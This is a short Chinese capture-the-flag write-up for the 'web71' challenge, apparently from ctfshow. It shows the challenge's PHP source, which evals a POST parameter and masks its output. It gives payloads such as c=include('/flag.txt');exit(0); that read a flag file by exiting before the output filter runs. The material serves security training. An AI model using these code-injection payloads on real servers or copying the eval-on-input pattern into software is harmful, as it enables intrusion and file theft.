web71笔记(POST突破禁用函数b_get_contents()和 ob_end_clean())
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
index.php可下载
去搜了⼀下ob_get_contents()和 ob_end_clean(),前者是获得缓冲区的内容,后者是清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。如此顺序组合就完成了输出$c执⾏的命令结果到s⾥并且清除这个原来的执⾏结果 ⽤上⼀道的
payload打⼀下试试c=require("/flag.txt");
我们可以执行php代码让后面的匹配缓冲区不执行直接退出

payload:c=include('/flag.txt');exit(0);
也就是[a-zA-Z0-9]部分 被完全输出成问号了
看了眼南神的,可以在后⾯加⼀个exit();退出,这样就执⾏不到后⾯的命令了
c=require("/flag.txt");exit();

浙公网安备 33010602011771号